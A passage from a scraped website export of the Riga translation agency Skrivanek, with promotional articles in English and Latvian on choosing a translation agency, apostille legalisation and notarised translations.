term, getting feedback from people whose quality standards you trust. You can certainly ask the chosen translation agency about their experience in working with clients from the industry you represent and partners of a similar scale. The project manager or office administrator will tell you about the projects and clients the translation agency has worked with and offer references and contacts. DEADLINES AND EFFICIENCY After quality, one of the most important factors to pay attention to is translation speed and meeting deadlines. When you need a translation, you can directly ask the project manager for a price offer and the soonest possible time of completion. We expect a high-quality translation in a timely manner from a trustworthy translation agency. SPECIALISTS IN VARIOUS INDUSTRIES There is a need for translations in very different fields and industries, so translators must not only master the language, but also have knowledge of the world and different areas of life, perhaps even specialising in a specific field outside of philology, and the translator must also have an understanding of the culture and etiquette of the language in which they are translating. A good translation agency will at least have professional translators and editors in fields such as finance, medicine, law, marketing, and technical text translation. These experts ensure that the correct terminology is used in the target language so that the translation is as professional as the original language. Find out if the translation agency has translators with the expertise you need for your project. NOT ONLY TRANSLATION SERVICES BUT ALSO LOCALISATION Make sure that the translation agency provides localisation. Translation and adaptation of a text are not the same thing – adaptation also means localising the text, changing idioms and means of expression, and adapting the text to the language requirements of the target audience. This can be crucial if you are in marketing, advertising, business, creating a website, etc. , because translated material without localisation may not reach your company’s target market or may even be misunderstood. Most likely, the mentality of the Brazilian and Latvian markets will differ, and a translator who knows the culture and language nuances of your target audience will know how to address these people and choose appropriate metaphors and expressions. NOTARISED TRANSLATIONS To make the process of legalisation of documents easier for customers, many translation agencies also provide notarised translations. This means that the translation of the document is first certified with the signature of a qualified translator, and the translator’s signature is then certified by a Sworn Notary. When dealing with translations of public documents, the task of a Sworn Notary is to ascertain the translator’s education and qualifications and to warn the translator about their responsibility in accordance with Articles 300 and 302 of the Criminal Law of the Republic of Latvia, if a false and/or incorrect translation is made intentionally. If you need to translate documents, it is worth checking whether the translation office provides notarisation. ROLE OF TECHNOLOGY IN THE TRANSLATION INDUSTRY Technology has affected all areas of our lives, including the translation industry. A lot has changed since the invention of the computer and the internet – translators have access to many digital resources (dictionaries, language corpora) which reduces research time (no need to go to the library and flip through large books), faster communication with clients and between industry professionals, and the translation office has the opportunity to work with the best professionals in the industry, wherever they are in the world. A translation agency that keeps up with the latest technologies and the possibilities of information systems asserts itself as a progressive company that grows with the times. TRANSLATION SERVICES REMOTELY The process of ordering a translation should be convenient, fast and easy to understand. Nowadays, translators, editors, and proofreaders, as well as the entire administrative side of the translation office, can work remotely. Communication with the client about the project can be carried out from start to finish through e-mails, and translations of electronically signed documents can be completed in the e-environment. CONTACT US Translation Bureau Skrivanek is one of the major language services providers in the world and provides high-quality and professional translation services in more than 110 languages, offering proofreading by a native speaker of the target language, as well as providing feedback on cross-cultural and business etiquette differences. Contact us or visit our office in Riga, Lāčplēša iela 87C! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Ziņu izvēlne Read our previous blog postValsts ieņēmumu dienestsRead our new blog postValsts sociālās apdrošināšanas aģentūra --- > How are documents legalised with an Apostille? What is an Apostille? What documents require it? Find out the answers in this article! - Published: 2023-11-15 - Modified: 2025-07-07 - URL: https://skrivanek.lv/kas-ir-apostille/ - Kategorijas: Article - Translation Priorities: Optional WHAT IS AN APOSTILLE? Translation offices often deal with the translation of official public documents. In such cases, it is necessary to confirm that the official who signed the document really works in Latvia and that the official’s signature and seal on the document are genuine, so that the documents in one country have the same legal effect in another country. This process has become significantly simpler due to the Hague Convention. If the document is issued in a foreign country that is a member state of the Hague Convention of 5 October 1961 on “Abolishing the Requirement of Legalisation for Foreign Public Documents”, it is necessary to certify the authenticity of the documents with a special mark – Apostille – at the appropriate institution of the issuing country, but a document that has been certified once with an Apostille does not need to be certified again in more than 100 member states of the Hague Convention. This means that the same document will be valid in Latvia, Poland, Greece, Chile, and other countries. In the Republic of Latvia, the Hague Convention came into force on 30 January 1996. WHICH DOCUMENTS REQUIRE AN APOSTILLE? Certifying the authenticity of documents with an Apostille becomes relevant in various situations that we experience during our lives, for example, a person moves to another country, goes to work or study abroad, wants to marry or divorce a citizen of another country, open a bank account, arrange documents related to inheritance in another country, etc. Public documents such as birth certificates, marriage certificates, educational diplomas, certificates of criminal record and health status, various state-issued authorisations, etc. are certified with an Apostille. HOW IS LEGALISATION WITH AN APOSTILLE PERFORMED? Previously, the legalisation of public documents issued in Latvia with an Apostille was only carried out in the Consular Department of the Ministry of Foreign Affairs of the Republic of Latvia, but since 1 July 2019, it can be done by Sworn Notaries anywhere in Latvia, and electronically issued documents can also be certified with an Apostille remotely. When the legalisation of public documents is required, before going to any foreign country where the relevant document will have to be submitted to an institution, it is recommended to find out beforehand whether it needs to be certified with an Apostille. It should also be noted that only documents issued in the Republic of Latvia can be certified with an Apostille by a Sworn Notary. The process itself is simple and fast: you must go to the Notary, taking the original of the document and your passport or ID card with you. If there is a sample of the signature and seal of the official who issued the document in the Signature sample database, the document can be certified within one working day. This task can also be entrusted to a professional translation agency, who will take care of everything for you. NOTARISED TRANSLATIONS OF DOCUMENTS AT SKRIVANEK When dealing with translations of public documents, the task of a Sworn Notary is to ascertain the translator’s education and qualifications and to warn the translator about their responsibility in accordance with Articles 300 and 302 of the Criminal Law of the Republic of Latvia, if a false and/or incorrect translation is made intentionally. To facilitate the process of legalisation of documents, the translation office Skrivanek provides notarised translations. This means that the translation of the document is first certified with the signature of a qualified translator, and the translator’s signature is then certified by a Sworn Notary. We offer notarised translations in more than 110 languages. TIPS FOR PREPARING DOCUMENTS In order to notarise the translation, the original document needs to be fully executed and legally valid, which means, it must include the following information: the name of the person who prepared the document; the date of preparation; the name of the place where said document was prepared, issued and signed; signature(s). We can also help in the case where you need to submit a notarised translation electronically with e-signature, but the originals of the document are in paper format. In such cases, we first prepare the translation of the original document in paper format, it is signed by the translator and certified by a Sworn Notary, and the original or a notarised copy of the original is stitched together with the signed translation. Once the translation of the document has been finalised in paper form, it is scanned to be certified again by a Notary with an e-signature. You can receive a Notarised translation in edoc, asic-e or PDF format, whichever suits you best. A notarised translation of an electronically signed document is prepared immediately in the e-environment. This service is available in edoc or asic-e, but not in PDF format. DO YOU NEED A NOTARY-CERTIFIED TRANSLATION OR DOCUMENT LEGALISATION WITH AN APOSTILLE? CONTACT US! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Ziņu izvēlne Read our previous blog postValsts ieņēmumu dienestsRead our new blog postValsts sociālās apdrošināšanas aģentūra --- > What is translation? What translation services do translation agencies provide and how do I choose a translation provider? Read here! - Published: 2023-11-15 - Modified: 2025-07-02 - URL: https://skrivanek.lv/tulkosana-kadel-to-uzticet-profesionaliem/ - Kategorijas: Article, Raksti - Translation Priorities: Optional TRANSLATION – WHY LEAVE IT TO THE PROFESSIONALS? WHAT ARE TRANSLATION SERVICES? Language is one of the most important tools for moving forward in life – we use language to convey information, express emotions, express ideas and opinions, form professional and private relationships, and we also use language to think. Since there are more than 4,000 languages in the world whose speakers exceed 1,000 people, translation services play an important role in maintaining fast and high-quality error-free communication and information flow between people, companies and customers, business partners, government institutions, etc. Today, translation offices provide various professional services, which include not only the transfer of written and spoken information from one language to another but also notarised translations, content (advertising, homepage, SEO, etc. ) text creation or adaptation/localisation, technical assistance in online events, and document formatting or digitisation. TRANSLATION AGENCY – PROFESSIONALISM AND EXPERIENCE In the implementation of important documents, complex projects and works, cooperation with a translation service provider is invaluable. A good, certified translation agency works with highly qualified and accredited specialists who have the appropriate education, skills and experience in their field, as well as knowledge not only of languages but also of other fields, in order to work with documents and texts of various topics and complexity. If you need a translation for a specific field, it is important that the interpreter or translator also knows the terminology and language etiquette. Professional translators also have access to a variety of dictionaries, online resources, and advanced translation software to help ensure translation accuracy. When working with a translation agency, you have access to high-level professionals in a wide variety of language combinations, as well as invaluable support in project management, ensuring quality, always meeting deadlines, and saving you time and money in the long run. The price of the translation is usually calculated based on the number of words in the source language (original) of the text, but it can also be affected by the deadline. The client usually agrees on the deadline for the translation with the translation office, but it can be estimated that a translation of up to 500 words takes an average of one full working day, and translating 1000 words takes at least one and a half working days. TRANSLATOR VS INTERPRETER There are two types of translation specialists – interpreters provide oral translations; translators provide written translations. Written translations include documents, contracts, invoices, advertising and website texts, books, scientific publications, and other translations of texts. Usually, the translation office indicates the fields and industries in which they work, such as medicine, law, economy, agriculture, because this means that the translator must also be orientated in the specific field for the translation to be of high quality and use consistent and correct terminology. Interpreting can be divided into two types: simultaneous interpreting and consecutive interpreting. Simultaneous interpreting means that the interpretation is done simultaneously with the speaker, so it is often used in seminars, conferences and business events, and sometimes also in cultural events, theatre performances or film screenings. In such events, interpreters mostly work with special equipment – while the speaker is talking in front of the audience, the interpreter sits in a soundproof booth and translates, and the participants of the event listen to the translation through headphones. Consecutive interpreting is an interaction between the speaker and the translator – the translator listens to what the speaker says in one language and then translates it into another language. This type of translation is used in small business meetings or presentations. DOCUMENT TRANSLATIONS Before going to any foreign country where the relevant document will have to be submitted to an institution, it is recommended to find out beforehand whether it needs to be certified with an Apostille. If you need a translation of a public document, such as birth certificates, marriage certificates, educational diplomas, certificates and government-issued powers of attorney, find out beforehand if the translation office offers notarised document translations. Notarisation legalises the translated document, so a qualified translator certifies the translation with their signature and takes responsibility for the accuracy of the translation, while a Sworn Notary certifies the translator’s signature. It should be noted that only documents issued in the Republic of Latvia can be certified with an Apostille by a Sworn Notary. TRANSLATION SERVICES AND PROOFREADING Any written text also involves proofreading and editing. A translation agency usually works with proofreaders and editors to have the translation reviewed by another language professional, paying attention to grammar, stylistic nuances, sentence constructions, and flow. The translation agencies will often offer proofreading included in the price of translation. Skrivanek translation bureau also ensures that each translation is reviewed by a proofreader who is a native speaker of the target language, thus ensuring that the translations are clear and grammatically correct. LOCALISATION OF TRANSLATIONS Clients often not only need translation but also localisation and adaptation of the translation for the target audience. In order to professionally and accurately transfer the company’s story, values, message or technical features of the product into the target language, it is important to convey the information in the appropriate intonation, and to choose the appropriate vocabulary, phraseology and terms. In industries such as advertising and marketing, translation is based on adaptation. Research on translations and the importance of adapting them to reach the target audience shows that despite the dominance of the English language in the world, an advertising campaign or website translated and adapted to the target language achieves better results. For example, Facebook ads with localised ad copy have a 22% higher click-through rate for women and an 87% higher click-through rate for men; 46% of the searches made on Google are about local information in the national language; 75% of consumers are more likely to consider a purchase if the service is provided in their native language. HOW TO CHOOSE A TRANSLATION SERVICE PROVIDER If you regularly need translation services for business or personal use, it is very important to establish successful long-term cooperation with a translation agency that ensures translations are carried out quickly and in high quality. First, start by identifying your needs. What type of translation do you need? If you work in marketing, it is important that the translations are also localised according to the culture of the target language. But the translation of documents will go more smoothly if the translation office also provides notarisation. Who is your audience – will the translation be read by your customers or business partners? Do you only need written translations or also oral translations (interpreting)? What language combinations will the translations be needed in? It is important that a translation agency can provide translators who work in your source and target language. Long-term cooperation and customer feedback Translation is a rapidly growing industry, and there is no shortage of translation offices, even in a small country like Latvia. On the websites of translation agencies, you can usually get acquainted with their biggest clients and projects, and you can also ask the translation agency about its experience working with materials for a particular industry, especially if you are in need of specific terminology and technically complex translations. We expect that a trustworthy translation agency will provide a high-quality translation in a timely manner. You will be in touch with a project manager, who can answer all your questions and ensure that the translation is done by a suitable translator and that the agreed deadlines and quality standards are met, as well as provide you with a price offer when you make the translation order. Quality certificates Whether the translation agency has implemented the requirements of the quality management system and works with professional interpreters, translators, editors and proofreaders is also confirmed by various ISO certificates. This quality management ensures the quality and confidentiality of services. EN ISO 9001: the translation office has implemented the necessary processes so that the quality of services meets the needs of customers and the requirements of regulatory acts; EN ISO 14001 certificate confirms our company’s concern for the environment, including the use of environmentally friendly technologies and materials in business, waste sorting and printing only the necessary documents; EN 17100: the selection of translation specialists, communication, project management, work process, use of technology and other industry-related aspects meet the established requirements; ISO/IEC 27001: information protection measures have been implemented in the translation office and the necessary control has been ensured, guaranteeing the security and confidentiality of the data entrusted by our clients; ISO 18587: The certificate is related to the post-editing processes of machine-translated text, and the project manager and editor working together on project execution. SKRIVANEK IN THE FIELD OF TRANSLATION SERVICES FOR OVER 30 YEARS We are one of the largest language service providers in the world with almost fifty branch offices in different countries around the globe. The Latvian branch, with an office in the centre of Riga, has been operating since 2003. Our clients include both state institutions and large companies, as well as individual clients, and every day we carry out large-scale and complex projects, as well as translations of various sized documents, ensuring affordable prices, quality, and on-time services. The Skrivanek mission is to help clients explore the world and develop their business. Our international team provides translation services in more than 110 languages, works professionally with the latest translation technologies, and offers proofreading by a native speaker of the target language. Nowadays, all communication with the client regarding the necessary services can be done remotely; all you need is an e-mail. If you are in need of translation services, contact us or visit our office in Riga, Lāčplēša iela 87C, where you will be welcomed by professionals in the field. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Ziņu izvēlne Read our previous blog postValsts ieņēmumu dienestsRead our new blog postValsts sociālās apdrošināšanas aģentūra --- > Tulkošanas biroju klāsts ir ļoti plašs, kam pievērst uzmanību, izvēloties tulkošanas biroju ilgtermiņa sadarbībai lasiet šajā rakstā. - Published: 2023-11-14 - Modified: 2025-07-15 - URL: https://skrivanek.lv/ka-izveleties-tulkosanas-biroju/ - Kategorijas: Raksti - Translation Priorities: Optional KĀ IZVĒLĒTIES TULKOŠANAS BIROJU Apzinoties laba tulkojuma un teksta lokalizēšanas nozīmi uzņēmumos un biznesā, šobrīd, iespējams, ir vairāk tulkošanas biroju nekā agrāk, tostarp nelielajā Latvijā ir pietiekami daudz lielāku un mazāku uzņēmumu, kas piedāvā tulkojumu pakalpojumus. Ja uzņēmējdarbībai vai privātām vajadzībām tulkošanas pakalpojumi nepieciešami regulāri, pirmkārt, svarīgi, ka rakstiskie tulkojumi un mutiskie tulkojumi dažādās valodu kombinācijās pieejami ātri un kvalitatīvi. No rakstīto materiālu vai tulka darba konferencē vai biznesa prezentācijā atkarīga jūsu uzņēmuma reputācija un panākumi, tāpēc izvēlēties īsto sadarbības partneri tulkojumu pakalpojumu jomā ir būtiski. Kam vēl pievērst uzmanību, izvēloties tulkošanas biroju ilgtermiņa sadarbībai lasiet šajā rakstā. APZINIET SAVAS VAJADZĪBAS Kad zināt, kas jums nepieciešams, vieglāk definēt arī savas prasības. Kādi tulkojumi jums ir vajadzīgi – lietišķie raksti, medicīnas teksti, tehniskie dokumenti vai mārketinga materiāli? Vai tā ir interneta vietne, raksts laikrakstam, juridisks līgums, preses relīze vai tehniska rokasgrāmata? Kas ir jūsu auditorija – tulkojumu lasīs jūsu klienti vai sadarbības partneri? Avota valoda – kādā valodā ir rakstīts jūsu saturs? Mērķvaloda – kādā valodā nepieciešams tulkojums? Vai nepieciešami tikai rakstiskie tulkojumi vai arī aktuāli mutiskie tulkojumi? KĀDA IR ATŠĶIRĪBA STARP TULKU UN TULKOTĀJU? Tulks specializējas mutiskā tulkošanā, piemēram, strādājot tiesas sēdēs, biznesa tikšanās, pasākumos, konferencēs, savukārt tulkotājs veic rakstīta teksta tulkošanu, piemēram, grāmatas, juridiskus līgumus, mārketinga materiālus u. tml. CIK IZMAKSĀ TULKOŠANA? Tulkojumu cena parasti tiek aprēķināta pēc vārdu vai rakstu zīmju skaita dokumenta avota valodā (oriģinālā), taču cenu var ietekmēt arī izpildes termiņš, teksta sarežģītība un tehniskās prasības. Tulkojumu biroja projektu vadītājs izteiks cenas piedāvājumu, pirms jūs vienosieties par darba izpildi. TULKOŠANAS BIROJS UN NEPIECIEŠAMIE KVALITĀTES VADĪBAS STANDARTU SERTIFIKĀTI Pārliecinieties, ka tulkošanas birojs savā darbā ir ieviesis kvalitātes vadības sistēmas un strādā ar profesionāliem tulkiem, tulkotājiem, redaktoriem un korektoriem, nevis iesniedz jums mašīntulkojumus, ko jūs varat veikt paši. Tulkošanas biroja profesionalitāti, konfidencialitāti, atbildību par paveikto darbu un izpildes termiņiem, ētisku un ilgtspējīgu uzņēmuma darbību u. c. apliecina dažādi ISO sertifikāti: EN ISO 9001 Šī kvalitātes vadības sistēma apliecina, ka tulkošanas birojā ir ieviesti un tiek īstenoti nepieciešamie vadības procesi, lai pakalpojumu kvalitāte atbilst klientu vēlmēm un normatīvo aktu prasībām. EN ISO 14001 Sertifikāts apliecina tulkošanas uzņēmuma rūpes par vidi – videi saudzīgu tehnoloģiju un materiālu izmantošanu, atkritumu šķirošanu, tikai nepieciešamo dokumentu drukāšanu u. tml. EN 17100 Redzot šo sertifikātu, varat būt drošs, ka uzņēmumā tulkošanas speciālistu atlase, saziņa, projektu vadība, darba process, tehnoloģiju izmantojums un citi ar nozari saistītie aspekti atbilst augstākajiem standartiem un prasībām. ISO/IEC 27001 Informācijas drošības vadības sistēma apliecina, ka tulkošanas birojā ir īstenoti informācijas aizsardzības pasākumi un tiek nodrošināta nepieciešamā kontrole, garantējot klientu uzticēto datu drošību un konfidencialitāti. ISO 18587 Sertifikāts attiecas uz mašīntulkotā teksta pēcrediģēšanas procesiem, projekta vadītājam un redaktoram kopīgi strādājot pie projekta izpildes. TULKOŠANAS BIROJA REPUTĀCIJA Tulkošanas biroju mājaslapās parasti var iepazīties ar klientu atsauksmēm un iepazīties ar biroja lielākajiem klientiem un projektiem. Veiciet arī ātru Google meklēšanu, lai redzētu, kāda veida informācija par tulkošanas biroju atrodama. Vienmēr vērts apjautāties, vai draugi un sadarbības partneri var ieteikt labu tulkošanas biroju, ar ko sadarboties ilgtermiņā, saņemot atsauksmes no cilvēkiem, kuru kvalitātes standartiem uzticaties. Noskatītajam tulkošanas birojam noteikti var vaicāt par pieredzi jūsu pārstāvētajā nozarē un ar līdzīga mēroga sadarbības partneriem. Projektu vadītājs vai administrācija noteikti pastāstīs, ar kādiem projektiem un klientiem tulkošanas birojs ir strādājis un piedāvās atsauksmes un kontaktpersonas. IZPILDES TERMIŅI UN OPERATIVITĀTE Pēc kvalitātes viens no svarīgākajiem faktoriem, kam pievērst uzmanību, ir tulkošanas ātrums un termiņu ievērošana. Kad nepieciešams tulkojums, uzreiz projektu vadītājam vaicājat arī cenas piedāvājumu un iespējamo tulkojuma īstenošanas termiņu. No uzticama tulkošanas biroja mēs sagaidām kvalitāti un laikā iesniegtus tulkojumus. DAŽĀDU NOZARU SPECIĀLISTI Tulkojumi nepieciešami ļoti dažādās jomās un nozarēs, tāpēc tulkotājiem nepieciešamas ne tikai valodu prasmes, bet arī zināšanas par pasauli un dažādām dzīves jomām, iespējams, pat specializējoties kādā konkrētā nozarē ārpus filoloģijas, tāpat tulkotājam jāpiemīt izpratnei par valodas, kurā tulko, kultūru un etiķeti. Labā tulkošanas uzņēmumā būs profesionāli tulkotāji un redaktori vismaz tādās jomās kā finanses, medicīna, tieslietas, mārketings vai tehniskā tulkošana. Šie eksperti nodrošina, ka mērķa valodā tiek izmantota pareiza terminoloģija, lai tulkojums būtu tikpat profesionāls kā oriģinālvalodā. Noskaidrojiet, vai tulkošanas birojam ir tulki ar jūsu projektam nepieciešamajām zināšanām. NE TIKAI TULKOŠANAS PAKALPOJUMI, BET ARĪ LOKALIZĒŠANA Pārliecinieties, vai tulkošanas birojs var veikt lokalizāciju. Teksta tulkošana un adaptācija nav viens un tas pats – adaptācija nozīmē arī teksta lokalizēšanu, idiomu un izteiksmes līdzekļu nomaiņu, pielāgojot tekstu mērķa valodas auditorijas prasībām. Tas var būt izšķiroši, ja darbojaties mārketingā, reklāmā, biznesā, veidojat mājaslapu u. tml. , jo tulkots materiāls bez lokalizācijas var nesasniegt jūsu uzņēmuma mērķa tirgu vai pat tikt pārprasts. Visticamāk, Brazīlijas un Latvijas tirgus mentalitāte atšķirsies, un tulkotājs, kurš pārzina jūsu mērķauditorijas kultūru un valodas nianses, pratīs uzrunāt šos cilvēkus, izvēlēsies atbilstošas metaforas un izteicienus. TULKOJUMI AR NOTĀRA APLIECINĀJUMU Lai atvieglotu klientu dzīvi un dokumentu legalizēšanas procesu, liela daļa tulkošanas biroju nodrošina arī notariāli apliecinātus tulkojumus. Tas nozīmē, ka dokumenta tulkojumu ar parakstu vispirms apliecina kvalificēts tulkotājs, bet tulkotāja parakstu apliecina zvērināts notārs. Kad nepieciešami publisku dokumentu tulkojumi, zvērināta notāra uzdevums ir pārliecināties par tulkotāja izglītību un kvalifikāciju un brīdināt par tulkotāja atbildību saskaņā ar Latvijas Republikas Krimināllikuma 300. un 302. pantu, ja apzināti tiek veikts nepatiess un/vai nepareizs tulkojums. Ja nepieciešams tulkot dokumentus, noteikti ir vērts noskaidrot, vai tulkošanas birojs nodrošina notariālu apliecinājumu. TEHNOLOĢIJU LOMA TULKOŠANAS NOZARĒ Tehnoloģijas ietekmējušas visas mūsu dzīves jomas, arī tulkošanas nozari. Jau kopš datora un interneta izgudrošanas daudz kas ir mainījies – tulkotājiem ir piekļuve daudziem digitālajiem resursiem (vārdnīcām, valodu korpusam) un ir samazinājies izpētes laiks (nav jādodas uz bibliotēku un jāpāršķirsta lielās grāmatas), norit ātrāka komunikācija ar klientiem un starp nozares profesionāļiem, turklāt tulkošanas birojam ir iespēja strādāt ar nozares labākajiem profesionāļiem, lai kur arī viņi atrastos. Tulkošanas birojs, kas seko līdzi tehnoloģijām un informācijas sistēmu iespējām sevi apliecina kā progresīvu uzņēmumu, kas aug līdzi laikam. TULKOŠANAS PAKALPOJUMI ATTĀLINĀTI Tulkojuma pasūtīšanas procesam ir jābūt ērtam, ātram un saprotamam. Mūsdienās attālināti var strādāt gan tulkotāji, redaktori un korektori, gan visa tulkošanas biroja administratīvā puse. Saziņa ar klientu par nepieciešamo pakalpojumu var no sākuma līdz beigām noritēt e-pastā, un e-vidē var nokārtot pat dokumentu tulkojumus ar e-parakstu. SAZINIETIES AR MUMS Tulkojumu birojs Skrivanek ir viens no lielākajiem valodu pakalpojumu uzņēmumiem pasaulē un nodrošina tulkojumu pakalpojumus kvalitatīvi un profesionāli vairāk nekā 110 valodās, piedāvājot klientiem tulkojuma korektūru, ko veic korektors, kam mērķa valoda ir dzimtā valoda, kā arī sniedzot atgriezenisko saiti par starpkultūru un biznesa etiķetes atšķirībām. Sazinieties ar mums vai nāciet ciemos uz biroju Rīgā, Lāčplēša ielā 87C! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt --- > Kā noris dokumentu legalizēšana ar apostilli? Kas ir apostille? Kādiem dokumentiem tā ir nepieciešama? Uzzini atbildes šajā rakstā! - Published: 2023-11-14 - Modified: 2025-07-07 - URL: https://skrivanek.lv/kas-ir-apostille/ - Kategorijas: Raksti - Translation Priorities: Optional KAS IR APOSTILLE? Tulkošanas biroji bieži saskaras ar oficiālu publisku dokumentu tulkošanu. Šādās reizēs nepieciešams apstiprinājums, ka dokumentu parakstījusī amatpersona patiešām Latvijā strādā un šīs amatpersonas paraksts un zīmoga nospiedums uz dokumenta ir īsts, lai dokumentiem vienā valstī būtu tāds pats juridisks spēks citā valstī. Šis process būtiski vienkāršojies līdz ar Hāgas konvenciju. Ja dokuments ir izsniegts ārvalstī, kas ir 1961. gada 5. oktobra Hāgas konvencijas “Par ārvalstu publisko dokumentu legalizācijas prasības atcelšanu” dalībvalsts, nepieciešama dokumentu īstuma apliecināšana ar īpašu atzīmi – apostilli – izdevējvalsts kompetentajā institūcijā, bet vienreiz ar apostilli apliecinātu dokumentu nav nepieciešams apliecināt atkārtoti vairāk nekā 100 Hāgas konvencijas dalībvalstīs. Tas nozīmē, ka dokuments būs derīgs gan Latvijā, gan Polijā, Grieķijā, Čīlē un citās valstīs. Latvijas Republikā Hāgas konvencija stājās spēkā 1996. gada 30. janvārī. KĀDIEM DOKUMENTIEM NEPIECIEŠAMA APOSTILLE? Dokumentu īstuma apliecināšana ar apostilli kļūst aktuāla dažādās situācijās, ko pieredzam dzīves laikā, piemēram, cilvēks pārceļas uz dzīvi citā valstī, dodas strādāt vai mācīties uz ārzemēm, vēlas slēgt vai šķirt laulību ar citas valsts pilsoni, atvērt bankas kontu, kārtot ar mantojumu saistītus dokumentus citā valstī u. tml. Ar apostilli tiek apliecināti tādi publiski dokumenti kā dzimšanas apliecība, laulība apliecība, izglītību apliecinoši diplomi, izziņas par nesodāmību un veselības stāvokli, dažādas valsts izdotas pilnvaras u. c. KĀ NORIS DOKUMENTA LEGALIZĀCIJA AR APOSTILLI? Iepriekš Latvijā izdotu publisku dokumentu autentiskuma apliecināšanu ar apostilli veica tikai Latvijas Republikas Ārlietu ministrijas Konsulārajā departamentā, bet kopš 2019. gada 1. jūlija to dara zvērināti notāri visā Latvijā, turklāt elektroniski izsniegtus dokumentus iespējams apostillēt arī attālināti. Kad nepieciešama publisku dokumentu legalizācija, pirms došanās uz jebkuru ārvalsti, kur kādā iestādē būs jāiesniedz atbilstošs dokuments, ieteicams laicīgi noskaidrot, vai nepieciešama tā apliecināšana ar apostille. Tāpat arī jāņem vērā, ka zvērināts notārs var apostillēt tikai Latvijas Republikā izdotus dokumentus. Pats process noris vienkārši un ātri: jādodas pie notāra, līdzi ņemot dokumenta oriģinālu un pasi vai ID karti, ja Paraksta paraugu datubāzē ir dokumentu izsniegušās amatpersonas paraksta un zīmoga nospieduma paraugs, dokumenta apliecināšanu iespējams nokārtot vienas darbadienas laikā. Šo uzdevumu var uzticēt arī profesionālam tulkošanas birojam, kas par visu parūpēsies jūsu vietā. NOTARIĀLI APLIECINĀTI DOKUMENTU TULKOJUMI SKRIVANEK Kad nepieciešami publisku dokumentu tulkojumi, zvērināta notāra uzdevums ir pārliecināties par tulkotāja izglītību un kvalifikāciju un brīdināt par tulkotāja atbildību saskaņā ar Latvijas Republikas Krimināllikuma 300. un 302. pantu, ja apzināti tiek veikts nepatiess un/vai nepareizs tulkojums. Lai atvieglotu dokumentu legalizēšanas procesu, tulkošanas birojs Skrivanek nodrošina notariāli apliecinātus tulkojumus. Tas nozīmē, ka dokumenta tulkojumu ar parakstu vispirms apliecina kvalificēts tulkotājs, bet tulkotāja parakstu apliecina zvērināts notārs. Notariāli apliecināti tulkojumi pie mums iespējami vairāk nekā 110 valodās. PADOMI DOKUMENTU SAGATAVOŠANAI Lai veiktu notariāli apliecinātu tulkojumu, nepieciešams pilnībā noformēts un juridiski spēkā esošs dokuments, kas ietver šādu informāciju: dokumenta sagatavotāja nosaukumu; dokumenta sagatavošanas datumu; dokumenta sagatavošanas, izdošanas un parakstīšanas vietas nosaukumu; parakstu (-us). Pie mums var droši vērsties arī situācijā, kad nepieciešams iesniegt notariāli apliecinātu tulkojumu elektroniski ar e-parakstu dokumentiem, kas ir papīra formātā. Šādos gadījumos mēs vispirms sagatavojam dokumenta oriģināla tulkojumu papīra formātā, to paraksta tulkotājs un apliecina zvērināts notārs, un kopā ar parakstīto tulkojumu tiek sašūts oriģināls vai oriģināla notariāli apliecināta kopija. Kad sakārtots dokumenta tulkojums papīra formātā, tas tiek ieskenēts, lai notārs to vēlreiz apliecinātu ar e-parakstu. Notariālu apliecinātu tulkojumu varat saņemt jums ērtā edoc, asic-e vai PDF formātā. Savukārt elektroniski parakstīta dokumenta notariāli apliecināts tulkojums tiek sagatavots uzreiz e-vidē. Šāds pakalpojums pieejams edoc vai asic-e, bet ne PDF formātā. NEPIECIEŠAMA DOKUMENTA LEGALIZĀCIJA AR APOSTILLI VAI NOTARIĀLI APLIECINĀTS TULKOJUMS? SAZINIETIES AR MUMS! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to 